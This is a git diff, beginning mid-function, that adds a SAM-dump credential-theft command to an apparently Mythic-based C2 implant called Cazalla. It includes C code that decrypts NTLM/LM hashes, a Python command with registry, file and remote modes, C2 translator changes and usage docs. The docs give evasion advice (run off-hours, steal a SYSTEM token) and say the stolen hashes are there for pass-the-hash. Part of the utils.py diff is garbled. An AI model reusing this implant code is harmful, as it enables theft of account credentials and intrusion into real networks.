NULL; + PBYTE ntHash = NULL; + + if (UserVariableData->NTHash.Length != 0) { + PSAM_HASH Hash = (PSAM_HASH)(UserVariableData->Data + UserVariableData->NTHash.Offset); + DecryptHash(&UserVariableData->NTHash, Hash, PasswordEncryptionKey, UserRid, FALSE, &ntHash); + } + + if (UserVariableData->LMHash.Length != 0) { + PSAM_HASH Hash = (PSAM_HASH)(UserVariableData->Data + UserVariableData->LMHash.Offset); + DecryptHash(&UserVariableData->LMHash, Hash, PasswordEncryptionKey, UserRid, TRUE, &lmHash); + } + + // Build credential string + CHAR credentialString[512] = {0}; + snprintf(credentialString, sizeof(credentialString), "%s:%lu:", usernameAnsi, UserRid); + + // Add LM hash to credential string + if (lmHash) { + for (int i = 0; i < 16; i++) { + char hex[3]; + snprintf(hex, sizeof(hex), "%02x", lmHash[i]); + strncat(credentialString, hex, sizeof(credentialString) - strlen(credentialString) - 1); + } + } else { + strncat(credentialString, "aad3b435b51404eeaad3b435b51404ee", sizeof(credentialString) - strlen(credentialString) - 1); + } + strncat(credentialString, ":", sizeof(credentialString) - strlen(credentialString) - 1); + + // Add NT hash to credential string + if (ntHash) { + for (int i = 0; i < 16; i++) { + char hex[3]; + snprintf(hex, sizeof(hex), "%02x", ntHash[i]); + strncat(credentialString, hex, sizeof(credentialString) - strlen(credentialString) - 1); + } + } else { + strncat(credentialString, "aad3b435b51404eeaad3b435b51404ee", sizeof(credentialString) - strlen(credentialString) - 1); + } + + // Format output: username:RID:LM:NTLM::: + PackageAddFormatPrintf(salida, FALSE, "%s", credentialString); + PackageAddFormatPrintf(salida, FALSE, ":::\n"); + + // Report credential to Mythic (only if we have at least NT hash) + if (ntHash) { + addCredential(credentials_paquete, "hash", "", credentialString, usernameAnsi); + } + + // Free hashes after using them + if (lmHash) { + HeapFree(GetProcessHeap(), 0, lmHash); + } + if (ntHash) { + HeapFree(GetProcessHeap(), 0, ntHash); + } + + HeapFree(GetProcessHeap(), 0, UserVariableData); + } + } + + RegCloseKey(SubkeyHandle); + } + + RegCloseKey(UsersKey); +} diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/samdump.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/samdump.h new file mode 100644 index 0000000..a961232 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/samdump.h @@ -0,0 +1,15 @@ +#pragma once + +#ifndef SAMDUMP_H +#define SAMDUMP_H + +#include "analizador.h" +#include "paquete.h" + +// SAM dump command code (must match translator) +#define SAMDUMP_CMD 0x42 + +// Forward declarations +VOID SamDumpHandler(PAnalizador argumentos); + +#endif diff --git a/Payload_Type/cazalla/cazalla/agent_functions/samdump.py b/Payload_Type/cazalla/cazalla/agent_functions/samdump.py new file mode 100644 index 0000000..31d09f5 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_functions/samdump.py @@ -0,0 +1,346 @@ +from mythic_container.MythicCommandBase import * +from mythic_container.MythicRPC import * +import json +import re +import asyncio + + +class SamDumpArguments(TaskArguments): + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( + name="method", + cli_name="method", + display_name="Dump Method", + type=ParameterType.ChooseOne, + choices=["registry", "files", "remote"], + default_value="registry", + description="Method to use for SAM dump: registry (default, local registry), files (from SAM/SYSTEM files), or remote (remote system)", + parameter_group_info=[ + ParameterGroupInfo( + required=True, + group_name="Default", + ui_position=1 + ) + ] + ), + CommandParameter( + name="sam_path", + cli_name="sam_path", + display_name="SAM File Path", + type=ParameterType.String, + description="Path to SAM hive file (required when method=files). Example: C:\\Windows\\System32\\config\\SAM", + parameter_group_info=[ + ParameterGroupInfo( + required=False, + group_name="Default", + ui_position=2 + ) + ] + ), + CommandParameter( + name="system_path", + cli_name="system_path", + display_name="SYSTEM File Path", + type=ParameterType.String, + description="Path to SYSTEM hive file (required when method=files). Example: C:\\Windows\\System32\\config\\SYSTEM", + parameter_group_info=[ + ParameterGroupInfo( + required=False, + group_name="Default", + ui_position=3 + ) + ] + ), + CommandParameter( + name="remote_host", + cli_name="remote_host", + display_name="Remote Host", + type=ParameterType.String, + description="Remote system hostname or IP address (required when method=remote)", + parameter_group_info=[ + ParameterGroupInfo( + required=False, + group_name="Default", + ui_position=4 + ) + ] + ), + CommandParameter( + name="impersonate", + cli_name="impersonate", + display_name="Impersonate User", + type=ParameterType.Boolean, + default_value=False, + description="Whether to impersonate a user before dumping (for remote access). Only used when method=remote", + parameter_group_info=[ + ParameterGroupInfo( + required=False, + group_name="Default", + ui_position=5 + ) + ] + ), + CommandParameter( + name="username", + cli_name="username", + display_name="Username", + type=ParameterType.String, + description="Username for impersonation (required if impersonate=true and method=remote)", + parameter_group_info=[ + ParameterGroupInfo( + required=False, + group_name="Default", + ui_position=6 + ) + ] + ), + CommandParameter( + name="password", + cli_name="password", + display_name="Password", + type=ParameterType.String, + description="Password for impersonation (required if impersonate=true and method=remote)", + parameter_group_info=[ + ParameterGroupInfo( + required=False, + group_name="Default", + ui_position=7 + ) + ] + ), + ] + + async def parse_arguments(self): + # Parse command line arguments if provided + if len(self.command_line) > 0: + # Check if command_line is JSON + if self.command_line.strip().startswith('{'): + try: + json_args = json.loads(self.command_line) + # Load from JSON dictionary + self.load_args_from_dictionary(json_args) + return + except json.JSONDecodeError: + # Not valid JSON, try parsing as space-separated arguments + pass + + # Parse as space-separated arguments + parts = self.command_line.split() + if len(parts) > 0: + method = parts[0].lower() + if method in ["registry", "files", "remote"]: + self.add_arg("method", method) + else: + raise ValueError(f"Invalid method: {method}. Must be 'registry', 'files', or 'remote'") + + # Parse additional arguments based on method + if method == "files" and len(parts) >= 3: + self.add_arg("sam_path", parts[1]) + self.add_arg("system_path", parts[2]) + elif method == "remote" and len(parts) >= 2: + self.add_arg("remote_host", parts[1]) + if len(parts) >= 4: + self.add_arg("impersonate", True) + self.add_arg("username", parts[2]) + self.add_arg("password", parts[3]) + + async def parse_dictionary(self, dictionary_arguments): + self.load_args_from_dictionary(dictionary_arguments) + + # Validate required parameters based on method + method = self.get_arg("method") or "registry" + + # For "files" method, both paths are required + if method == "files": + if not self.get_arg("sam_path"): + raise ValueError("sam_path is required when method=files") + if not self.get_arg("system_path"): + raise ValueError("system_path is required when method=files") + + # For "remote" method, remote_host is required + if method == "remote": + if not self.get_arg("remote_host"): + raise ValueError("remote_host is required when method=remote") + # username and password are optional - only needed if impersonate=true + if self.get_arg("impersonate"): + if not self.get_arg("username") or not self.get_arg("password"): + raise ValueError("username and password are required when impersonate=true") + + +class SamDumpCommand(CommandBase): + cmd = "samdump" + needs_admin = True # Requires SYSTEM privileges to access SAM + help_cmd = "samdump" + description = "Dump local account password hashes from the Security Account Manager (SAM) database. Extracts NTLM hashes for all local users. Requires SYSTEM privileges. Automatically reports extracted hashes to Mythic's credential store. HIGH OPSEC RISK: Accessing the SAM database is heavily monitored by EDR/XDR solutions and is a primary indicator of credential theft attacks." + version = 1 + author = "Kaseya OFSTeam" + attackmapping = ["T1003.002", "T1003.001"] + argument_class = SamDumpArguments + attributes = CommandAttributes( + supported_os=[SupportedOS.Windows] + ) + + async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse: + """ + OPSEC check before creating the task. + SAM database access is highly detectable. + """ + message = "🚨 HIGH OPSEC RISK - SAM Database Access\n\n" + message += "This command will:\n" + message += " • Access the Security Account Manager (SAM) database\n" + message += " • Read encrypted password hashes (NTLM)\n" + message += " • Extract hashes for all local user accounts\n" + message += " • Report extracted hashes to Mythic's credential store\n\n" + + message += "🔍 DETECTION RISKS:\n" + message += " • EDR/XDR solutions monitor SAM database access\n" + message += " • Registry access to HKEY_LOCAL_MACHINE\\SAM triggers alerts\n" + message += " • Credential theft detection rules (MITRE T1003.002)\n" + message += " • Behavioral analysis detects credential extraction patterns\n" + message += " • Security tools flag SAM access as high-priority indicator\n\n" + + message += "⚠️ HIGH DETECTION PROBABILITY:\n" + message += " • SAM access is a primary indicator of attack\n" + message += " • Many security tools have specific rules for this activity\n" + message += " • Registry access patterns are logged and monitored\n" + message += " • Detection is likely within minutes\n\n" + + message += "💡 CONSIDERATIONS:\n" + message += " • Requires SYSTEM privileges (use steal_token on SYSTEM process)\n" + message += " • This activity is commonly detected within minutes\n" + message += " • Consider timing (off-hours may reduce detection)\n" + message += " • Ensure you have proper authorization\n" + message += " • Alternative: Use Mimikatz or other tools via inline_execute_assembly\n\n" + + message += "✅ This command requires approval from another operator." + + return PTTTaskOPSECPreTaskMessageResponse( + TaskID=taskData.Task.ID, + Success=True, + OpsecPreBlocked=True, # Block by default + OpsecPreBypassRole="other_operator", # Requires another operator to approve + OpsecPreMessage=message + ) + + async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse: + """ + OPSEC check after creating the task. + Warns about artifacts that will be created. + """ + message = "🚨 OPSEC POST-CHECK - SAM Database Access Artifacts\n\n" + message += "This task will create the following artifacts:\n" + message += " • Registry Read: HKEY_LOCAL_MACHINE\\SAM access\n" + message += " • Registry Read: HKEY_LOCAL_MACHINE\\SYSTEM access (for boot key)\n" + message += " • Credential Access: SAM database enumeration\n" + message += " • Credential Extraction: NTLM hashes reported to Mythic\n\n" + + message += "🔍 DETECTION RISKS:\n" + message += " • EDR/XDR registry access monitoring\n" + message += " • Credential theft detection rules (MITRE T1003.002)\n" + message += " • Behavioral analysis (credential extraction patterns)\n" + message += " • Registry access auditing (if enabled)\n\n" + + message += "⚠️ CRITICAL DETECTION PROBABILITY:\n" + message += " • SAM access is heavily monitored\n" + message += " • Detection is likely within minutes\n" + message += " • Multiple security layers may trigger alerts\n\n" + + message += "✅ This is a FINAL WARNING - task will proceed if approved.\n" + message += "Ensure you understand the detection risks before continuing." + + return PTTTaskOPSECPostTaskMessageResponse( + TaskID=taskData.Task.ID, + Success=True, + OpsecPostBlocked=False, # Don't block, just warn + OpsecPostBypassRole="operator", + OpsecPostMessage=message + ) + + async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: + response = PTTaskCreateTaskingMessageResponse( + TaskID=taskData.Task.ID, + Success=True, + ) + + method = taskData.args.get_arg("method") or "registry" + display_params = f"Dumping SAM database via {method}" + + if method == "files": + sam_path = taskData.args.get_arg("sam_path") + system_path = taskData.args.get_arg("system_path") + display_params += f" (SAM: {sam_path}, SYSTEM: {system_path})" + elif method == "remote": + remote_host = taskData.args.get_arg("remote_host") + display_params += f" (Remote: {remote_host})" + if taskData.args.get_arg("impersonate"): + username = taskData.args.get_arg("username") + display_params += f" (Impersonating: {username})" + + response.DisplayParams = display_params + return response + + async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: + """ + Process response from agent. + The response contains SAM dump output with NTLM hashes. + Extract hashes and report them to Mythic's credential store. + """ + resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) + + if not response: + return resp + + # Parse the response to extract NTLM hashes + response_text = str(response) + + # Pattern to match NTLM hashes: username:RID:LM:NTLM + # Format: Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: + hash_pattern = r'([^:]+):(\d+):([a-fA-F0-9]{32}|):([a-fA-F0-9]{32}|):' + + hashes_found = [] + for match in re.finditer(hash_pattern, response_text): + username = match.group(1).strip() + rid = match.group(2) + lm_hash = match.group(3) if match.group(3) else None + ntlm_hash = match.group(4) if match.group(4) else None + + # Only report if we have at least one hash + if ntlm_hash and ntlm_hash != "aad3b435b51404eeaad3b435b51404ee": # Empty hash + hashes_found.append({ + "username": username, + "rid": rid, + "lm_hash": lm_hash if lm_hash and lm_hash != "aad3b435b51404eeaad3b435b51404ee" else None, + "ntlm_hash": ntlm_hash + }) + + # Report credentials to Mythic + for hash_data in hashes_found: + try: + # Format: username:rid:lm_hash:ntlm_hash + credential_string = f"{hash_data['username']}:{hash_data['rid']}:" + if hash_data['lm_hash']: + credential_string += f"{hash_data['lm_hash']}:" + else: + credential_string += ":" + credential_string += f"{hash_data['ntlm_hash']}" + + # Create credential in Mythic + await SendMythicRPCCredentialCreate(MythicRPCCredentialCreateMessage( + TaskID=task.Task.ID, + Credentials=[ + MythicRPCCredentialCreateData( + account=hash_data['username'], + realm="", # Local account, no domain + credential=credential_string, + credential_type="hash", # NTLM hash + metadata=f"RID: {hash_data['rid']}, LM Hash: {hash_data['lm_hash'] if hash_data['lm_hash'] else 'N/A'}" + ) + ] + )) + except Exception as e: + # Log error but continue processing other hashes + pass + + return resp diff --git a/Payload_Type/cazalla/translator/commands_from_c2.py b/Payload_Type/cazalla/translator/commands_from_c2.py index f9ae7e7..99e13a2 100644 --- a/Payload_Type/cazalla/translator/commands_from_c2.py +++ b/Payload_Type/cazalla/translator/commands_from_c2.py @@ -34,6 +34,8 @@ commands = { "browser_info": {"hex_code": 0x40, "input_type": None}, # Browser dump command "browser_dump": {"hex_code": 0x41, "input_type": "string"}, + # SAM dump command + "samdump": {"hex_code": 0x42, "input_type": "string"}, # Added SOCKS control commands "start_socks": {"hex_code": 0x60, "input_type": "int"}, "stop_socks": {"hex_code": 0x61, "input_type": None}, @@ -148,14 +150,61 @@ def responseTasking(tasks): file_path = file_path.rstrip('\x00') parameters["file"] = file_path print(f"[DEBUG] Normalized file path for {command_to_run}: {repr(file_path)}") - data += len(parameters).to_bytes(4,"big") - for param in parameters: - param_value = parameters[param] - # Convert parameter value to string if it's not already - if not isinstance(param_value, str): - param_value = str(param_value) - data += len(param_value).to_bytes(4, "big") - data += param_value.encode() + + # Special handling for samdump: send parameters in fixed order + if command_to_run == "samdump": + method = parameters.get("method", "registry") + # Always send method first + method_str = str(method) if method else "registry" + nbArgs = 1 # Start with method + + # Build parameter list in fixed order + param_list = [method_str] + + if method == "files": + # sam_path and system_path are optional - will try common paths + sam_path = parameters.get("sam_path", "") + system_path = parameters.get("system_path", "") + if sam_path: + param_list.append(str(sam_path)) + nbArgs += 1 + if system_path: + param_list.append(str(system_path)) + nbArgs += 1 + elif method == "remote": + # remote_host is required + remote_host = parameters.get("remote_host", "") + if remote_host: + param_list.append(str(remote_host)) + nbArgs += 1 + + # username and password are optional (only if impersonate=true) + impersonate = parameters.get("impersonate", False) + if impersonate: + username = parameters.get("username", "") + password = parameters.get("password", "") + if username: + param_list.append(str(username)) + nbArgs += 1 + if password: + param_list.append(str(password)) + nbArgs += 1 + + data += nbArgs.to_bytes(4, "big") + for param_value in param_list: + param_str = str(param_value) if param_value else "" + data += len(param_str).to_bytes(4, "big") + data += param_str.encode() + else: + # Original format for other commands + data += len(parameters).to_bytes(4,"big") + for param in parameters: + param_value = parameters[param] + # Convert parameter value to string if it's not already + if not isinstance(param_value, str): + param_value = str(param_value) + data += len(param_value).to_bytes(4, "big") + data += param_value.encode() else: data += b"\x00\x00\x00\x00" diff --git a/Payload_Type/cazalla/translator/commands_from_implant.py b/Payload_Type/cazalla/translator/commands_from_implant.py index bd4538c..adc5099 100644 --- a/Payload_Type/cazalla/translator/commands_from_implant.py +++ b/Payload_Type/cazalla/translator/commands_from_implant.py @@ -377,10 +377,15 @@ def postResponse(data): # UUID pattern is very distinctive: 8 hex chars, dash, 4 hex, dash, 4 hex, dash, 4 hex, dash, 12 hex # If we find a valid UUID pattern, it takes precedence over length interpretation # Try at offset 0 first + print(f"[DEBUG] Buscando UUID en data de {len(data)} bytes") + print(f"[DEBUG] Primeros 72 bytes (hex): {data[:72].hex() if len(data) >= 72 else data.hex()}") + print(f"[DEBUG] Primeros 72 bytes (repr): {repr(data[:72]) if len(data) >= 72 else repr(data)}") + if len(data) >= 36: potential_uuid = data[0:36] try: uuid_str = potential_uuid.decode('ascii', errors='replace') + print(f"[DEBUG] Intentando UUID en offset 0: '{uuid_str}'") # Check if it looks like a UUID (format: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx) # UUID pattern: 8 hex, dash, 4 hex, dash, 4 hex, dash, 4 hex, dash, 12 hex # Also check that the hyphens are at the correct positions @@ -410,14 +415,25 @@ def postResponse(data): if not uuidTask and len(data) >= 72: potential_uuid = data[36:72] try: - uuid_str = potential_uuid.decode('ascii') + uuid_str = potential_uuid.decode('ascii', errors='replace') + print(f"[DEBUG] Intentando UUID en offset 36: '{uuid_str}'") if (len(uuid_str) == 36 and uuid_str[8] == '-' and uuid_str[13] == '-' and uuid_str[18] == '-' and uuid_str[23] == '-' and all(c in '0123456789abcdefABCDEF-' for c in uuid_str)): - uuidTask = potential_uuid - offset = 72 - print(f"[DEBUG] UUID de tarea detectado en offset 36: {uuid_str}") - except: + # Additional validation + is_valid_uuid = ( + all(c in '0123456789abcdefABCDEF' for c in uuid_str[0:8]) and + all(c in '0123456789abcdefABCDEF' for c in uuid_str[9:13]) and + all(c in '0123456789abcdefABCDEF' for c in uuid_str[14:18]) and + all(c in '0123456789abcdefABCDEF' for c in uuid_str[19:23]) and + all(c in '0123456789abcdefABCDEF' for c in uuid_str[24:36]) + ) + if is_valid_uuid: + uuidTask = potential_uuid + offset = 72 + print(f"[DEBUG] UUID de tarea detectado en offset 36: {uuid_str}") + except Exception as e: + print(f"[DEBUG] Error al validar UUID en offset 36: {e}") pass # If still not found, check if data starts with a reasonable length diff --git a/Payload_Type/cazalla/translator/translator.py b/Payload_Type/cazalla/translator/translator.py index c4e5a2f..0e4ad7d 100644 --- a/Payload_Type/cazalla/translator/translator.py +++ b/Payload_Type/cazalla/translator/translator.py @@ -413,12 +413,44 @@ class cazalla_translator(TranslationContainer): print(f"[TRANSLATOR] Received message length: {len(inputMsg.Message)} bytes") # Decrypt if encryption is enabled (agent encrypts before sending) + # Format: Base64(UUID_agente(36) + AES256(...)) data = inputMsg.Message if self._crypto_type == "aes256_hmac" and self._enc_key: print("[TRANSLATOR] Decrypting message from agent...") + print(f"[TRANSLATOR] Message length before decryption: {len(data)} bytes") try: - data = self.aes256_decrypt(data) - print(f"[TRANSLATOR] Decrypted message length: {len(data)} bytes") + # Extract agent UUID (first 36 bytes) if present + # The agent sends: Base64(UUID_agente + AES256(POST_RESPONSE + UUID_tarea + ...)) + # After Base64 decode, we have: UUID_agente + [IV][Ciphertext][HMAC] + if len(data) >= 36: + # Check if first 36 bytes look like a UUID (ASCII hex with dashes) + potential_uuid = data[:36] + try: + uuid_str = potential_uuid.decode('ascii', errors='replace') + # Simple check: UUID format has dashes at positions 8, 13, 18, 23 + if (len(uuid_str) == 36 and uuid_str[8] == '-' and uuid_str[13] == '-' and + uuid_str[18] == '-' and uuid_str[23] == '-'): + # This looks like a UUID, extract it + agent_uuid = data[:36] + encrypted_data = data[36:] + print(f"[TRANSLATOR] Extracted agent UUID: {agent_uuid.decode('ascii', errors='replace')}") + print(f"[TRANSLATOR] Encrypted data length: {len(encrypted_data)} bytes") + data = self.aes256_decrypt(encrypted_data) + print(f"[TRANSLATOR] Decrypted message length: {len(data)} bytes") + else: + # Doesn't look like UUID, try decrypting the whole thing + print("[TRANSLATOR] First 36 bytes don't look like UUID, trying to decrypt whole message") + data = self.aes256_decrypt(data) + print(f"[TRANSLATOR] Decrypted message length: {len(data)} bytes") + except Exception as uuid_e: + print(f"[TRANSLATOR] Error checking for UUID: {uuid_e}, trying to decrypt whole message") + data = self.aes256_decrypt(data) + print(f"[TRANSLATOR] Decrypted message length: {len(data)} bytes") + else: + # Message too short, try decrypting anyway + print("[TRANSLATOR] Message too short for UUID extraction, trying to decrypt") + data = self.aes256_decrypt(data) + print(f"[TRANSLATOR] Decrypted message length: {len(data)} bytes") except Exception as e: print(f"[TRANSLATOR] ERROR: Decryption failed: {e}") response.Success = False diff --git a/Payload_Type/cazalla/translator/utils.py b/Payload_Type/cazalla/translator/utils.py index a9ae21c..832ccfd 100644 --- a/Payload_Type/cazalla/translator/utils.py +++ b/Payload_Type/cazalla/translator/utils.py @@ -1,98 +1,98 @@ -import base64 -import os -from struct import pack, calcsize - -def getBytesWithSize(data): - """ - Read length-prefixed data. - Format: [size:4 bytes big-endian][data:size bytes] - Returns: (data_bytes, remaining_bytes) - """ - if len(data) < 4: - print(f"[WARN] getBytesWithSize: datos insuficientes ({len(data)} < 4)") - return b"", data - - size = int.from_bytes(data[0:4], 'big') # Explicitly use big-endian - data = data[4:] - - # Validate size (reasonable limit: 100MB) - MAX_REASONABLE_SIZE = 100 * 1024 * 1024 - if size > MAX_REASONABLE_SIZE: - print(f"[WARN] getBytesWithSize: tamaño sospechoso ({size} bytes, max razonable: {MAX_REASONABLE_SIZE})") - # Removed hex dump - use debug logging if needed - # If size is suspicious, maybe it's actually a marker byte - # Return empty output and keep all data as remaining - return b"", data - - if len(data) < size: - print(f"[WARN] getBytesWithSize: tamaño ({size}) mayor que datos disponibles ({len(data)})") - # Return what we can and empty remaining - return data[:size], b"" - - return data[:size], data[size:] - - -class Packer: - """ - Packed data into length-prefixed binary format. - - Reference: From Havoc framework https://github.com/HavocFramework/Modules/blob/main/Packer/packer.py - Adapted from Xenon's implementation - """ - def __init__(self): - self.buffer : bytes = b'' - self.size : int = 0 - - def getbuffer(self): - """Returns length-prefixed buffer: [size:4 bytes little-endian][data]""" - return pack(" MAX_REASONABLE_SIZE: + print(f"[WARN] getBytesWithSize: tamaño sospechoso ({size} bytes, max razonable: {MAX_REASONABLE_SIZE})") + # Removed hex dump - use debug logging if needed + # If size is suspicious, maybe it's actually a marker byte + # Return empty output and keep all data as remaining + return b"", data + + if len(data) < size: + print(f"[WARN] getBytesWithSize: tamaño ({size}) mayor que datos disponibles ({len(data)})") + # Return what we can and empty remaining + return data[:size], b"" + + return data[:size], data[size:] + + +class Packer: + """ + Packed data into length-prefixed binary format. + + Reference: From Havoc framework https://github.com/HavocFramework/Modules/blob/main/Packer/packer.py + Adapted from Xenon's implementation + """ + def __init__(self): + self.buffer : bytes = b'' + self.size : int = 0 + + def getbuffer(self): + """Returns length-prefixed buffer: [size:4 bytes little-endian][data]""" + return pack(" + ``` + - **OPSEC Risk**: MEDIUM-HIGH + - **Requires**: SYSTEM or backup/restore privileges + - **Detection**: Medium-High (hours to days) + - **Example**: `samdump files C:\Windows\System32\config\SAM C:\Windows\System32\config\SYSTEM` + +3. **Remote** - Remote registry access + ``` + samdump remote [username] [password] + ``` + - **OPSEC Risk**: HIGH + - **Requires**: Network access, ability to start Remote Registry service + - **Detection**: High (minutes to hours) + - **Example**: `samdump remote \\TARGET-PC` + +**Features:** +- **Multiple Access Methods**: Registry, files, or remote access +- **Local Account Enumeration**: Extracts hashes for all local user accounts +- **NTLM Hash Extraction**: Retrieves both LM and NTLM hashes (when available) +- **Automatic Credential Reporting**: Automatically reports extracted hashes to Mythic +- **RID Extraction**: Includes Relative Identifier (RID) for each account +- **Artifact Tracking**: Reports registry access, file access, or network connections + +**Output:** +``` +Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: +Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: +user:1001:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bd830b7586c5::: +``` + +**OPSEC Considerations:** + +| Method | Risk | Detection | Best Use Case | +|--------|------|-----------|---------------| +| **Registry** | CRITICAL | Very High (minutes) | Default method, highest detection risk | +| **Files** | MEDIUM-HIGH | Medium-High (hours-days) | Offline analysis, backup files | +| **Remote** | HIGH | High (minutes-hours) | Remote systems, network access | + +- **Registry Method**: Direct SAM/SYSTEM registry access is heavily monitored, requires SYSTEM privileges, always requires approval +- **Files Method**: Lower detection profile, useful for offline analysis, still requires privileged access +- **Remote Method**: Network traffic detectable, service manipulation logged, use only when local access not possible +- **General**: Always use `steal_token` on SYSTEM process first (for registry/files), consider timing, always requires approval + +**Technical Details:** +- **Registry**: Accesses `HKEY_LOCAL_MACHINE\SAM` and `HKEY_LOCAL_MACHINE\SYSTEM` registry hives +- **Files**: Uses `RegLoadKey` to load SAM/SYSTEM hives from disk +- **Remote**: Connects to remote registry via `RegConnectRegistry`, starts Remote Registry service if needed +- Extracts boot key from SYSTEM hive to decrypt password hashes +- Output format: `username:RID:LM:NTLM:::` + +**Related:** [Token Operations](#token-operations), [Credentials Support](features.md#credentials-support), [Detailed Documentation](commands/samdump.md) + +--- + ## Control Commands ### `sleep` - Adjust Beacon Interval diff --git a/documentation-payload/Cazalla/commands/README.md b/documentation-payload/Cazalla/commands/README.md index 9accc08..f421e74 100644 --- a/documentation-payload/Cazalla/commands/README.md +++ b/documentation-payload/Cazalla/commands/README.md @@ -41,6 +41,10 @@ Complete documentation for all Cazalla agent commands, organized by category. - [`keylog_start`](keylog_start.md) - Start keylogger - [`keylog_stop`](keylog_stop.md) - Stop keylogger +## Credential Access + +- [`samdump`](samdump.md) - Dump SAM database (NTLM hashes) + ## Code Execution - [`inline_execute`](inline_execute.md) - Execute Beacon Object Files (BOFs) diff --git a/documentation-payload/Cazalla/commands/samdump.md b/documentation-payload/Cazalla/commands/samdump.md new file mode 100644 index 0000000..9f0c6da --- /dev/null +++ b/documentation-payload/Cazalla/commands/samdump.md @@ -0,0 +1,365 @@ +# samdump - Dump SAM Database + +Extract NTLM password hashes from the Security Account Manager (SAM) database using multiple methods. + +## Description + +The `samdump` command extracts encrypted password hashes (NTLM) from the Windows SAM database for all local user accounts. It supports three different methods for accessing the SAM database, each with different privilege requirements and OPSEC considerations. + +**Important:** Extracted hashes are automatically reported to Mythic's credential store for use in pass-the-hash attacks. + +## Syntax + +``` +samdump [method] [method-specific-parameters] +``` + +## Methods + +The command supports three methods for dumping the SAM database: + +### 1. Registry Method (Default) + +Accesses the SAM database directly through the Windows registry. This is the default method. + +**Syntax:** +``` +samdump registry +``` + +**Parameters:** +- No additional parameters required + +**Privileges Required:** +- **SYSTEM privileges** (use `steal_token` on SYSTEM process first) +- Alternative: `SeBackupPrivilege` with `NtOpenKeyEx` (Windows 7+) + +**OPSEC Risk:** **CRITICAL** +- Direct registry access to SAM/SYSTEM hives is heavily monitored +- EDR/XDR solutions have specific detection rules for this activity +- Detection likely within minutes +- High behavioral analysis risk + +**Best Practices:** +- Always use `steal_token` on SYSTEM process before execution +- Consider off-hours execution +- Always requires approval from another operator +- Consider alternative methods for different detection signatures + +### 2. Files Method + +Loads SAM and SYSTEM hive files from disk and extracts hashes from the loaded hives. + +**Syntax:** +``` +samdump files +``` + +**Parameters:** +- `sam_path` (required): Full path to SAM hive file + - Example: `C:\Windows\System32\config\SAM` + - Example: `C:\Temp\SAM.backup` +- `system_path` (required): Full path to SYSTEM hive file + - Example: `C:\Windows\System32\config\SYSTEM` + - Example: `C:\Temp\SYSTEM.backup` + +**Privileges Required:** +- **SYSTEM privileges** OR +- `SeBackupPrivilege` and `SeRestorePrivilege` (for `RegLoadKey`) + +**OPSEC Risk:** **MEDIUM-HIGH** +- File access is less monitored than direct registry access +- Still requires privileged access to load hives +- File read operations may be logged +- Lower detection rate than registry method, but still detectable +- Useful when you have offline copies of SAM/SYSTEM files + +**Best Practices:** +- Use when you have access to SAM/SYSTEM files from backups or offline systems +- Lower detection profile than registry method +- Still requires SYSTEM or backup/restore privileges +- File access logs may be monitored + +**Example:** +``` +samdump files C:\Windows\System32\config\SAM C:\Windows\System32\config\SYSTEM +``` + +### 3. Remote Method + +Connects to a remote system's registry and extracts SAM hashes over the network. + +**Syntax:** +``` +samdump remote [username] [password] +``` + +**Parameters:** +- `remote_host` (required): Remote system hostname or IP address + - Example: `\\TARGET-PC` + - Example: `192.168.1.100` +- `username` (optional): Username for authentication (required if impersonating) + - Can include domain: `DOMAIN\user` or `user@domain.com` +- `password` (optional): Password for authentication (required if impersonating) + +**Privileges Required:** +- Network access to remote system +- Ability to start Remote Registry service on target +- Valid credentials (if impersonating) with appropriate permissions + +**OPSEC Risk:** **HIGH** +- Network traffic (RPC calls to Remote Registry service) +- Service manipulation (starting Remote Registry service) +- Registry access over network is monitored +- Authentication attempts may be logged +- Network-based detection is possible +- Higher visibility than local methods + +**Best Practices:** +- Use only when local access is not possible +- Ensure Remote Registry service can be started (may require admin rights) +- Network traffic is detectable by network monitoring tools +- Authentication attempts are logged +- Consider using existing authenticated sessions when possible +- Higher detection risk due to network activity + +**Example:** +``` +samdump remote \\TARGET-PC +samdump remote 192.168.1.100 DOMAIN\admin P@ssw0rd123 +``` + +## Examples + +### Local Registry Access (Default) +``` +samdump +samdump registry +``` + +### From Files +``` +samdump files C:\Windows\System32\config\SAM C:\Windows\System32\config\SYSTEM +samdump files C:\Backup\SAM C:\Backup\SYSTEM +``` + +### Remote Access +``` +samdump remote \\WORKSTATION-01 +samdump remote 192.168.1.50 +samdump remote \\SERVER-01 DOMAIN\admin Password123 +``` + +## Features + +- **Multiple Access Methods**: Registry, files, or remote access +- **Local Account Enumeration**: Extracts hashes for all local user accounts +- **NTLM Hash Extraction**: Retrieves both LM and NTLM hashes (when available) +- **Automatic Credential Reporting**: Automatically reports extracted hashes to Mythic +- **RID Extraction**: Includes Relative Identifier (RID) for each account +- **Artifact Tracking**: Reports registry access, file access, or network connections + +## Output + +The command outputs hashes in the standard format: + +``` +username:RID:LM:NTLM::: +``` + +### Example Output + +``` +Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: +Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: +DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: +WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:6537b4eefd8b2aad3b435b51404eeaad3::: +user:1001:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bd830b7586c5::: +``` + 